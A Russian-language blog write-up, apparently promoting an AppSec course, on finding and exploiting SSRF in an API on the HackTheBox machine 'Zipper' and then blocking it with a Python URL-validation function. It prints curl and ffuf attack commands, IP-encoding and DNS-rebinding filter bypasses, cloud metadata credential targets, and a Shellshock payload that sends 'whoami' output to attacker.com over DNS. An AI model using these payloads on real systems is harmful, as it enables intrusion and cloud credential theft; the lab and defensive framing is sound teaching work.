Перейти к содержимому

SSRF уязвимость в API: разбор HTB-машины и валидация защиты на практике

SSRF уязвимость в API: разбор HTB-машины и валидация защиты на практике
Время чтения: 12 мин.

Четыре часа на HTB-машину «Zipper» — и единственным рабочим вектором оказался POST-параметр в API-эндпоинте. Сервис принимал URL, подтягивал данные, возвращал результат. Типичная интеграционная функция — такие в продакшне на каждом втором проекте. SSRF (Server-Side Request Forgery — подделка серверных запросов: ты управляешь адресом, куда сервер отправляет исходящий запрос) нашлась за двадцать минут. А вот обход фильтра и замыкание цепочки до чтения внутренних сервисов — это уже оставшиеся три с лишним часа. Потом я взял модуль валидации из AppSec-курса и за полчаса закрыл ровно те payload’ы (строки-полезные нагрузки для эксплуатации), которые только что отправлял сам. Разбираю весь путь — от разведки до защиты.

Разведка на HTB Zipper: пентест API-эндпоинтов на SSRF

Server Side Request Forgery — что это и зачем атакующему

Сервер видит сеть иначе, чем внешний клиент. Ему доступны loopback-адреса (127.0.0.1 — адрес, по которому машина обращается сама к себе), приватные IP-диапазоны соседних сервисов (10.x.x.x, 172.16.x.x, 192.168.x.x) и облачные metadata-эндпоинты (служебный URL вроде 169.254.169.254, где cloud-провайдер хранит credentials и конфигурацию виртуальной машины). Если пользовательский ввод попадает в URL исходящего запроса без проверки — атакующий буквально «смотрит глазами сервера» за периметр.

В классификации OWASP (Open Web Application Security Project — организация, формирующая стандарты безопасности приложений) SSRF занимает позицию A10:2021 в OWASP Top 10 для веб-приложений и API7:2023 в OWASP API Security Top 10. Почему API особенно уязвимы? Они обрабатывают пользовательские URL программно, с серверными привилегиями и без визуального контекста браузера. Нет адресной строки, нет предупреждений — только код, который делает то, что ему сказали.

В терминологии MITRE ATT&CK (открытая база тактик и техник атак; T-коды — идентификаторы конкретных приёмов) эксплуатация SSRF в публичном API раскладывается в цепочку:

  • T1190 — Exploit Public-Facing Application (тактика Initial Access): публичный API как точка входа
  • T1046 — Network Service Discovery (тактика Discovery): сканирование внутренних портов через SSRF
  • T1552.001 — Credentials In Files (тактика Credential Access): чтение конфигурационных файлов с паролями и ключами
  • T1005 — Data from Local System (тактика Collection): извлечение данных с сервера

Бизнес-логика атаки: через SSRF сканируется внутренняя сеть — какие порты открыты, какие сервисы отвечают. Следующий шаг — доступ к metadata-сервису облака и получение временных credentials роли виртуальной машины. Дальше — перемещение по инфраструктуре с правами самого сервиса: чтение S3-бакетов, управление очередями, доступ к секретам. SSRF обходит периметровую защиту, потому что запрос идёт изнутри — файрволы и WAF (Web Application Firewall — межсетевой экран уровня приложений) считают такой трафик легитимным. Вот почему это не «ещё одна уязвимость», а полноценный пробой периметра.

При пентесте API-эндпоинтов на HTB Zipper я искал точки входа по таким паттернам:

  • POST/GET-параметры с именами url, callback, redirect, file_url, webhook, image_url, src
  • Функции загрузки файла по ссылке, генерации превью, проверки доступности URL, отправки тестового вебхука
  • Заголовки X-Forwarded-Host, Referer, которые сервер иногда использует для формирования исходящих запросов
  • Частичные URL: клиент передаёт хост или путь, а сервер собирает полный адрес из шаблона — по данным PortSwigger, это типичный скрытый слой SSRF-поверхности

Отдельная история — webhook-функции. Вебхуки — асинхронные callbacks, которые приложение отправляет при наступлении события. С точки зрения SSRF это почти готовый канал для blind-сценария: ответ внутреннего сервиса пользователь может не увидеть, но сам факт серверного запроса создаёт поверхность для проверки через тайминги, DNS-обращения и различия в поведении. Если в продукте есть «проверить URL», «отправить тестовое уведомление» или «сделать превью ссылки» — перед тобой полноценный SSRF entry point.

Подтверждение SSRF через out-of-band запрос

Подозрительный параметр найден. Теперь нужно подтвердить, что сервер действительно отправляет запрос по указанному адресу. Для этого используется out-of-band (внеполосное) взаимодействие: сервер обращается на контролируемый тобой ресурс, и ты видишь входящее соединение.

Зачем это нужно: ответ API может не содержать тело внутреннего запроса. Такой сценарий называется blind SSRF (слепая SSRF) — результат запроса не отображается пользователю. Но сам факт обращения подтверждает уязвимость и открывает дорогу к дальнейшей эксплуатации. Для обнаружения blind SSRF используются Burp Collaborator (встроенная функция Burp Suite — инструмента для тестирования веб-приложений), interactsh, webhook.site, canarytokens и расширение «Collaborator Everywhere», которое автоматически добавляет OOB-payload’ы в заголовки исходящих запросов.

Делай раз: подготовь URL, который контролируешь. Если используешь Burp Suite — скопируй адрес Collaborator. Если нет — запусти на VPS nc -lvnp 8080 и используй его IP. Совет: если стандартный домен Collaborator фильтруется, разверни собственный Collaborator-сервер — дефолтный домен часто попадает в блоклисты.

Делай два: отправь запрос к API-эндпоинту, подставив свой URL в параметр:

curl -X POST http://target.htb/api/fetch \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "url=http://YOUR-COLLABORATOR.oastify.com"

Делай три: проверь Collaborator или nc-слушатель. В логах должен появиться DNS-запрос и HTTP-обращение с заголовками целевого сервера (User-Agent, внутренний IP в X-Forwarded-For). Видишь входящий запрос от IP цели — SSRF подтверждена, переходи к эксплуатации.

Даже blind SSRF — не тупик. Один из способов превратить её в выполнение команд — комбинация с Shellshock (CVE-2014-6271, CVSS 9.8 CRITICAL: уязвимость в GNU Bash до версии 4.3, позволяющая выполнить произвольный код через переменные окружения; CWE-78 — OS Command Injection). EPSS (Exploit Prediction Scoring System — оценка вероятности эксплуатации в ближайшие 30 дней) для CVE-2014-6271 равен 1.0 — максимум шкалы. CVE находится в каталоге CISA KEV (список уязвимостей, которые УЖЕ эксплуатируются в реальных атаках). Через SSRF отправляется запрос к внутреннему CGI-сервису, а Shellshock-payload передаётся в заголовке User-Agent: () { :; }; /bin/nslookup $(whoami).attacker.com. Если внутренний сервис уязвим — Bash выполняет инъецированную команду, а результат уходит через DNS на контролируемый домен. Да, Shellshock 2014 года. Да, на внутренних сервисах он всё ещё встречается.

Эксплуатация SSRF: обход фильтров и доступ к внутренней сети

SSRF payload — запросы к localhost и сканирование портов

После подтверждения уязвимости — обращаемся к внутренним ресурсам. Базовый SSRF payload: подставить http://127.0.0.1 или http://localhost вместо внешнего URL.

Мой процесс на HTB: отправил http://127.0.0.1:80/ — получил ответ, отличающийся от ошибки. Сервер ходит на localhost. Дальше — перебор портов. На HTB-упражнениях по server-side атакам POST-параметр, который обычно указывает на внешний сервис, получает адрес localhost с портом. Для автоматического перебора — ffuf (инструмент для фаззинга, систематического перебора значений параметра):

ffuf -w /usr/share/seclists/Fuzzing/4-digits-0000-9999.txt:PORT \
  -u http://target.htb/api/fetch -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "url=http://127.0.0.1:PORT/" -fs 0

Предусловия: Kali Linux или система с установленными ffuf и SecLists. Флаг -fs 0 фильтрует ответы нулевого размера — если порт закрыт или сервис не отвечает, обычно возвращается пустой ответ.

Ответы с ненулевым размером — открытые порты. На одном из HTB-упражнений через такое сканирование обнаружился порт 3306 (MySQL) — внутренняя база данных, недоступная снаружи. После обнаружения — «просмотр» сервиса: подставляешь http://127.0.0.1:3306/ в уязвимый параметр и анализируешь ответ.

Если целевой сервер — облачная виртуальная машина (AWS EC2, GCP Compute Engine, Yandex Cloud), следующий приоритетный запрос — http://169.254.169.254/latest/meta-data/. AWS через этот эндпоинт отдаёт временные security credentials роли инстанса. Google Cloud — токены сервисного аккаунта. Yandex Cloud — служебные данные ВМ и identity-документы. Получив credentials, атакующий взаимодействует с облачным API от имени сервиса: читает бакеты, управляет очередями, получает секреты из Secrets Manager. SSRF в облаке — это доступ к control plane всей инфраструктуры.

Помимо портов, фаззь директории внутреннего HTTP-сервиса: замени PORT на FUZZ, подставь словарь с именами файлов и добавь расширения .php, .py. Ищи эндпоинты /admin, /internal, /debug, /status. Если SSRF выводит содержимое ответа (не blind) — попробуй схему file:///etc/passwd для чтения локальных файлов. Если работает — критичность уязвимости возрастает кратно: ты читаешь файловую систему сервера через веб-параметр.

Обход валидации URL: DNS rebinding и альтернативные IP

На продвинутых HTB-машинах и в продакшн-приложениях за параметром URL стоит фильтр. Типичная блокировка: запрет строк localhost, 127.0.0.1, приватных диапазонов. На «Zipper» фильтр отклонял запросы с 127.0.0.1 в теле — пришлось искать обходные пути.

Альтернативные записи IP. Адрес 127.0.0.1 записывается как http://2130706433 (десятичная форма), http://0x7f000001/ (шестнадцатеричная), http://0 (сокращённая), http://127.1, http://[::1] (IPv6). Фильтр, сравнивающий строку 127.0.0.1 побуквенно, пропустит все варианты. Сервер при этом отрезолвит их обратно в тот же адрес. Именно так я обошёл фильтр на «Zipper» — десятичная запись сработала с первой попытки.

DNS rebinding. Регистрируешь домен с коротким TTL (Time To Live — время жизни DNS-записи). При первом DNS-запросе он резолвится в разрешённый IP и проходит валидацию фильтра. При повторном — в 127.0.0.1 или внутренний адрес. Для генерации таких доменов есть сервис rebinder (lock.cmpxchg8b.com/rebinder.html): указываешь два IP, получаешь домен, который чередует ответы. Минус: IP могут «прыгать» между запросами, иногда нужно несколько попыток.

Сервис nip.io. Запись 192.168.1.100.nip.io резолвится в IP, закодированный прямо в имени домена. Если фильтр пропускает доменные имена, но блокирует числовые IP — nip.io срабатывает. Произвольный поддомен для обхода regex: bypass.filter.192.168.1.100.nip.io — тот же результат.

Редиректы. Если приложение следует за HTTP-редиректами (301/302), направляешь первый запрос на разрешённый домен, который перенаправляет на http://127.0.0.1. Фильтр видит легитимный URL, реальный запрос уходит на localhost. Open redirect на целевом приложении — готовый усилитель для эксплуатации SSRF.

URL-схемы. Помимо http:// в зависимости от серверного стека работают: file:///etc/passwd (чтение файлов), gopher:// (произвольные TCP-данные для Redis, MySQL, SMTP), dict://, sftp://. В PHP: php://, data://. В Java: jar://, netdoc:// (но OpenJDK 8+ не следует редиректам между разными протоколами). Gopherus генерирует gopher-payload’ы для MySQL, PostgreSQL, FastCGI, Redis и Zabbix. SSRFMap (Python) автоматизирует обход фильтров через параметр --level: уровень 1 — стандартные payload’ы, уровень 2 — bypass’ы вроде http://127.0.1, http://localtest.me. Модуль readfiles скачивает /etc/passwd и другие чувствительные файлы, networkscan сканирует соседние хосты.

Защита от SSRF атак: модуль валидации внешних запросов

Сетевая изоляция и архитектурные контроли

Разобравшись в эксплуатации, переключаюсь на защиту. Самый надёжный уровень — не давать приложению технической возможности обращаться к внутренним ресурсам.

Egress-фильтрация. Настрой правила файрвола так, чтобы исходящие запросы приложения ограничивались конкретным списком разрешённых хостов и портов. Если сервис подтягивает аватарки — разреши обращения только к CDN-домену. Не ко всему интернету и уж точно не к внутренней сети.

Metadata-защита в облаке. AWS: используй IMDSv2 (Instance Metadata Service v2) с обязательным сессионным токеном — двухэтапный механизм: сначала PUT-запрос для получения токена, потом GET с заголовком X-aws-ec2-metadata-token. Простой SSRF-запрос без этого заголовка будет отклонён. Google Cloud и Yandex Cloud: обязателен заголовок Metadata-Flavor: Google. Эти меры не устраняют SSRF уязвимость в API, но блокируют самый опасный вектор — утечку облачных credentials. IMDSv2 поднял планку, но не отменил impact: если сервис умеет формировать нужные заголовки (через XXE или SSRF с контролем заголовков), защита обходится.

Сегментация сети. Приложение, обрабатывающее пользовательские URL, не должно находиться в одном сегменте с базами данных, внутренними API и административными интерфейсами. Отдельная подсеть с минимальным набором разрешённых маршрутов — базовый архитектурный контроль. Звучит очевидно, но на практике я раз за разом вижу API-сервер в одном VLAN с Redis и PostgreSQL.

Валидация URL в коде — AppSec-подход

Сетевая изоляция — первая линия, но она не заменяет проверку на уровне кода. Модуль валидации внешних запросов, который я собрал после прохождения HTB-машины, проверяет URL в три этапа: парсинг схемы, DNS-резолвинг hostname в IP, проверка IP на принадлежность глобальному диапазону.

Зачем именно три этапа: парсинг отсекает опасные схемы (file://, gopher://). Резолвинг превращает hostname в IP до отправки запроса — ловит nip.io и кастомные DNS-записи. Проверка IP отклоняет приватные и loopback-адреса. Ни один этап сам по себе не достаточен: DNS rebinding обманывает парсинг, редиректы обходят однократную проверку, альтернативные записи проходят мимо строковых фильтров.

import ipaddress, socket
from urllib.parse import urlparse

ALLOWED_SCHEMES = {"http", "https"}

def validate_url(user_url: str) -> bool:
    parsed = urlparse(user_url)
    if parsed.scheme not in ALLOWED_SCHEMES:
        return False
    try:
        ip = socket.getaddrinfo(parsed.hostname, None)[0][4][0]
        addr = ipaddress.ip_address(ip)
    except (socket.gaierror, ValueError):
        return False
    return addr.is_global

Что происходит на каждом шаге:

  • urlparse разбирает URL на компоненты (схема, хост, путь) и позволяет проверить схему отдельно
  • socket.getaddrinfo резолвит hostname в IP до отправки реального HTTP-запроса
  • ipaddress.ip_address(ip).is_global — ключевая проверка: IP принадлежит публичному диапазону? Адреса 127.0.0.1, 10.x.x.x, 169.254.169.254, 192.168.x.x и прочие приватные/зарезервированные диапазоны вернут False

Проверяем: validate_url("http://127.0.0.1/admin")False. validate_url("http://2130706433")False (десятичный localhost). validate_url("http://192.168.1.100.nip.io")False (после резолва — приватный IP). validate_url("http://example.com/api")True.

Ограничение, которое стоит держать в голове: модуль не решает проблему DNS rebinding полностью. Между моментом getaddrinfo и реальным HTTP-запросом DNS-ответ может измениться. Для защиты от rebinding нужно резолвить IP один раз и передавать разрезолвленный адрес напрямую в HTTP-клиент, минуя повторный DNS-запрос. В production-решениях для этого используют кастомные DNS-резолверы или HTTP-библиотеки с привязкой к конкретному IP на уровне сокета.

Связь с этим hackthebox writeup по SSRF: каждый bypass из предыдущего раздела — десятичный IP, IPv6, nip.io — проверяется одной строкой addr.is_global. Вместо бесконечного расширения чёрного списка — одна позитивная проверка: IP глобальный? Да — пропускаем. Нет — блокируем. Именно такой подход к валидации внешних запросов я применил к векторам, которые только что использовал на HTB.

Разрыв между атакой и защитой — вот что больше всего зацепило в этом разборе. Три часа обхода фильтров. Полчаса на модуль валидации, который закрывает все использованные приёмы. Проблема не в сложности защиты — проблема в приоритетах: о валидации URL думают после инцидента.

Из десятков API-эндпоинтов, которые я тестировал на проектах и CTF-площадках, больше половины фильтруют SSRF через чёрные списки — запрещают localhost и 127.0.0.1 побуквенно. Десятичная запись IP обходит такой фильтр за одну попытку. Чёрный список создаёт иллюзию безопасности без безопасности.

Индустрия движется к allow-list подходу — проверять не «запрещён ли адрес», а «разрешён ли этот адрес после DNS-резолва». На практике этот сдвиг происходит после инцидента, не до. Каждый новый webhook, каждый callback-параметр, каждая функция «загрузить по ссылке» — SSRF-поверхность. Кто не перестроит валидацию исходящих запросов с deny-list на allow-list сейчас, будет закрывать это по инцидентам с утечкой credentials из metadata-сервиса. Системное понимание связки «как ломают и как закрывают» ценнее сотни разрозненных writeup’ов — на курсе IB Basics эту цепочку проходят от разведки до защитного модуля с лабами.

Эту тему и смежные навыки разбирают на практике в курсе «Профессия: инженер по безопасности приложений (AppSec)» Codeby Academy.